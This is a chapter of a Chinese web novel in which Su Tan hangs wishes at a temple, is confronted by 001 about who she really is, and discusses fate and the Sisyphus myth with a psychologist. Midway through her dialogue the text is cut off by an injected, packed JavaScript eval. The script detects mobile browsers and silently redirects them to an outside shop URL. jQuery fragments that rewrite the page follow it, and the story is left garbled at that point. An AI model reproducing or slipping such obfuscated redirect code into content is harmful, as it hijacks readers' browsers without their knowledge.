新年那天,苏昙跟着夏汀舟一家去了寺庙祈福。
这一次,她的身边没有了001。
她顺着烧香拜佛的人群,走到了那棵古树下,上面依旧挂满了红带和木牌,风一吹,就叮叮咣咣作响。
苏昙仰着头,静静地看着树上沉甸甸的愿望,开始反思,是不是她上一次许的愿望太大了,所以老天才拒绝了她,她写下的那些“占得欢愉”“年年今夜”一个都没实现,倒是又回到了现在,让她不得不接受注定分别的事实。
苏昙就这么盯着那些飘荡的红带子,渐渐地,天上竟然出了太阳,不一会就刺得她眼睛酸涩流泪。
“小姑娘,要不要也写一个啊?”还是那个坐在树下的老妪,笑容和蔼地哈出白汽,对她说道,“能挂在树上的愿望,一定能实现的,在这许愿可灵了!”
苏昙有些苦涩地笑了笑:“是吗?”
老妪以为她要许愿,连忙从脚下的塑料袋里掏出一个木牌,递了过去:“来吧来吧。”
“我……”
苏昙犹豫地看着她,迟迟没有挪脚。
灵不灵的都是说辞,来庙里的人不过都是求一个念想,一个期盼。仿佛只有这样,心里才会有几分安定。
说来也是可笑,苏昙明明上过一回当,最后却还是买下了老妪的木牌。等她反应过来的时候,老妪已经把黑色马克笔塞进了她手里。
“写一个吧!”她热情道。
苏昙手冻得又僵又冷,心里也没什么想奢求的,想了半天,又把笔还了回去:“算了,我不写了。”
老妪咋舌:“你这小姑娘,一点愿望都没吗?祝家人身体健康也行啊,总不能挂个空牌子上去吧!”
苏昙攥着木牌,听到她的话,看着木牌上面的空白出了神。
她是真的没有愿望吗?恰恰相反,她的愿望太多了,多到连她自己都觉得可笑。
不知过了多久,她搓了搓僵硬的手指,对老妪道:“您把笔给我吧,我写。另外,我再买一个牌子。”
老妪乐呵道:“好嘞。”
苏昙握着笔,在第一个已经染上暖意的牌子上,一笔一划地写道:“我希望他永远平安。然后,忘了我。”
写完,她等着笔迹被风吹干,把牌子揣进了口袋。
老妪不理解地看着她的动作,把第二个牌子搁到她手边。
苏昙没注意她的目光,继续埋头写道:“我希望那边的妈妈和爸爸不要太想我,因为有我想他们就够了。不管有没有我,我都希望他们开心健康。”
牌子上能够写字的区域太小,苏昙控制着字体,把正反面都写满了,但黑色的颜料还是像蚂蚁一样,挤在一起洇成了一团。
苏昙把笔放下,拿着木牌,站到树下。
她找到一个最低的树枝,有些忐忑地捏住牌子一角,做了几次准备,扬起了手。
这次没有风,但木牌还是稳稳当当地挂在了树枝上。
苏昙终于感觉轻松了一点。
时间转眼来到夏汀舟生日那晚,也是苏昙的生日。
苏昙收下夏迁舟、陈玫和孙姨的礼物后,便上楼回了房间,她不知道001还会不会出现。看样子听他再表白一次肯定是不可能的了,那如果他真的来了,还会说什么?
苏昙想不出来。
钟表的时针走过数字十二,001悄无声息地出现在了房间里,正对着苏昙。他手里没有带什么花,表情也不像是心动的模样。
但苏昙看着他,还是没由来地生出一丝心慌,静静等着他先说话。
钟表滴答滴答地响,渐渐地与房间里两个人的心跳融为同一个频率。
001动了动嘴唇,温声说道:“苏昙,生日快乐。”
苏昙紧张的情绪被他一句话打散,愣在了原地。
重来一次,她还是忘了今天也是她的生日。
然而,下一秒,001眼睛一眨不眨地观察着她,问道:“你到底发生什么了?”
苏昙缓和的心跳再次疯狂加速。
她轻轻眯了下眼,不解道:“什么意思?我没听懂。”
001识破她遮掩的把戏,走近一步道:“还是我应该问,你是谁?原来的苏昙在哪?”
苏昙抓到他话里的歧义,摊开手疑惑道:“我就是我,一直都是苏昙啊!”
“你不是她。”
001冷着神色,又逼近了一步。
苏昙被他逼到桌沿,双手接力撑在腰后的桌子上。
她退无可退,索性抬起头,与他对视道:“你说我不是她,那你倒是举个例子给我证明?”
此话一出,001脸上的敌意瞬间退去大半,不知想到了什么,耳朵竟然慢慢红了。
……等等,他耳朵红了?
苏昙简直不要太了解,001只要一害羞或者不好意思,耳朵就会最先变红,然后是脸。
但他这个时候害羞什么?她对他做什么了吗!?
苏昙吓得赶紧把回溯以来她做过的事细细想了一遍,确定她真的没有出格的行为,最后快刀斩乱麻地说服自己,是001脑回路又抽了。
她得逞似的猛地将脸往001面前凑过去盯着看,惊得他手足无措地往后退了一大步。
苏昙顺势打了个大大的哈欠,遮住她同样心虚的神色,在他身边饶了一圈,钻进被窝里,胡诌道:“你也不看看几点了,大半夜的来我房间里,是想——”
苏昙说到一半,嘴又跑到了脑子前面,忙打了个绊,轻咳了一声,改口道:“我要睡了,你走吧。”
001闪得比她的嘴还快,话音刚落,就原地消失。
房间里重归安静。
苏昙眼底的情绪减淡,若有所思望着头顶的天花板,离开了这里。
眼睛一睁一闭,她再次来到了魏泽涛的心理诊室。
“魏医生。”
苏昙坐在了那个熟悉的座位上。
魏泽涛给她端了一杯温水,坐到她对面说道:“这次来,是想咨询点什么?”
苏昙想了想:“我记得,上次我们见面,聊了一些关于梦境与现实的话题,我回去之后思考了很多,的确很有感悟,噩梦的情况也有所缓解。但最近,我又有了新的困惑。总是想不明白,所以再来找您探讨探讨。”
魏泽涛淡笑:“当然可以,希望我能帮到你。你这次想聊什么?”
苏昙想到要说什么,肩膀不自觉紧绷起来,语气也下意识加快:“如果我在梦境里死亡,会不会再也醒不过来了?”
魏泽涛微微挑眉,并没有露出不相信或是嘲笑的表情,而是先问道:“是因为你在梦里梦到自己死了?”
苏昙摇头:“但我在梦里看到了我的未来。我会死,会在梦里死。”
“那你还能试着回想起死亡的细节吗?”
“我看不清。”
“所以你所看到的,也只是被动地接受了‘自己会死’的信息,实际上会不会发生,什么时候发生,你都没有确切的了解,对吗?”
苏昙迟疑地点了点头。
魏泽涛抿了一下唇,调整了坐姿,双手交叠在小腹处,说道:“我曾经有一个患者,他的情况和你有些类似。他连续一段时间,老是梦到自己在梦里死了。”
苏昙听得很认真,听到最后一句,愣了一下,问:“他并没有真的死?”
“对。”魏泽涛说,“他梦到自己死了,然后就醒了。科学上的解释,梦是活跃的大脑神经元随机产生的图像、想法和感觉;心理学上解释,梦是你潜意识的映射。也许只是你最近太紧张焦虑,所以会有这样的梦,仅此而已。”
苏昙心中放松,又随即绷紧,看向他道:“可我的情况和他……不太一样。我的梦,几乎能当作一个新的真实的世界,我的所作所为在某种程度上,可以改变事情的走向,所以我在梦里,活着是真实的,死亡大概率也是真实的。”
苏昙说完,觉得她说的云里雾里,外人听起来,肯定觉得她就是个精神不正常的疯子,泄气地闭上了嘴。
然而,魏泽涛似乎听得津津有味,甚至追问道:“接着呢?我记得你上次来就说你能够去到不同的世界,甚至能做梦中梦,现在还有这种情况吗?”
苏昙像抓住了一把稻草,奋力把整个身体都拽了上去,稳了稳心神,说道:“有。我在梦里遇到了很
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17065976|182094||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
多人,她们无比努力地想要活下去,用尽一切办法,就像我一样。但因为所谓命运,哪怕我挽回了她们的生命,她们最后还是会走向注定的死局。而我现在,也不确定自己还能不能活下去。”
她拿起桌子上的水杯,喝了一口水,润了润激动的情绪导致微哑的嗓子,继续道:“有一天,我见到了所谓的命运,它告诉我,我要是想活着离开,就必须抹除我在那些人生命中的痕迹,我要亲手纠正我们做过的所有的努力。我……我不知道到底该怎么做。”
魏泽涛注视着她,缓声问道:“那又是什么,支撑你走到了现在?”
苏昙捧着玻璃杯,陷入沉思。
良久,她道:“可能是希望吧。”
魏泽涛又问:“那你现在是怎么做的?”
“我……”苏昙握着杯子的手指骤然加力,垂下了眼睫,“我什么都没做,我亲眼看着她们在我面前走向命运的终点。她们死在我的面前,我除了哭什么都做不了。”
魏泽涛站起身,将苏昙手里的水杯轻轻拿走,转身走到饮水机旁边为她添满热水,说道:“我能插个话,先给你讲一个故事吗?”
苏昙:“好。”
“从前有一个叫西西弗斯的人,他很狡猾机智,得知宙斯掳走了河神的女儿,便以一条四季长流的河作为交换,向河神透露了他女儿的下落,泄露的宙斯的秘密。宙斯要惩罚西西弗斯,却被他屡次用计逃过。”
“最后西西弗斯触犯了众神,为了惩罚他,便要求他把一块巨石推向山顶。可是巨石太沉重了,每次刚到山顶,就又会滚落下来,一切前功尽弃。于是西西弗斯就开始不断重复、永无止境地做推巨石这同一件事。最后,他的生命就在这种无望的劳作中消耗殆尽。”
魏泽涛讲完,拿着水杯返回沙发,重新坐下来,把杯子放到矮桌上,问苏昙道:“你觉得他可怜吗?”
苏昙的确不理解:“按你说的,既然他那么聪明,为什么又要做毫无意义的无用功?”
魏泽涛:“因为在他心里,不断把巨石推到山顶并不是一件毫无意义的事。他渴望逃离,渴望阳光雨露,所以在他心里,这不算无用功,而是他的反抗。他的反抗,是一种与生俱来的对待命运的姿态。他很清楚,‘反抗’注定是一种惨败,但他不后悔,也不屈从。”
苏昙明白魏泽涛想告诉她的道理,可她依旧赌气似的说:“我不是西西弗斯。他所处的环境和拥有的意志只属于他自己。”
魏泽涛不急不忙道:“你说得没错,每个人面对的困境是完全不同的,做出的选择也因人而异。或许你觉得你经历了一场荒诞,但当你深陷在世界的荒诞之中时,也要意识到,你同样能支配这种荒诞。”
魏泽涛的话如同一支疾速的箭矢,破开苏昙胸膛的血肉,正中她内心深处的那片虚无。
苏昙一言不发地盯着桌子上的水,好像听到魏泽涛轻轻叹了一口气,他又道:“有时候,接受命运,能更好地帮助你对抗命运。相信相信的力量,它能够帮你战胜迷茫和悲伤。”
很长一段时间,诊室里一片寂静。
苏昙再次抬起头时,已经泪流满面。
是啊,她为什么要那么纠结生或死?毕竟她现在能够影响的、改变的,有资格在乎的,根本不是那个还躺在现实世界的宿舍床的身体,而是在这系统里,她爱的,和爱她的人。
即使她不是她。
她更该好好地听一听自己的心,想要的究竟是什么?真正在乎的又是什么?
难道只是为了那一点虚无缥缈地可能会活下去的念头吗?
既然她一个毫不相关的人都想活着,那苏雨虹呢?苏檀呢?维希、夏汀舟、杨夜雨呢?她们难道就不想活着吗?她们凭什么不能活着?
如果所谓的命运真的存在,她做与不做,又有什么区别?
去他爹的混沌珠!去他爹的狗屁约定!
她苏昙就是要任性一次!
她偏要看她们活下去,笑着过自己的人生。
在无数生命不可承受之重面前,死亡从来都是最简单的那一个选择。
她偏要做把选择权掌握在自己手里的人。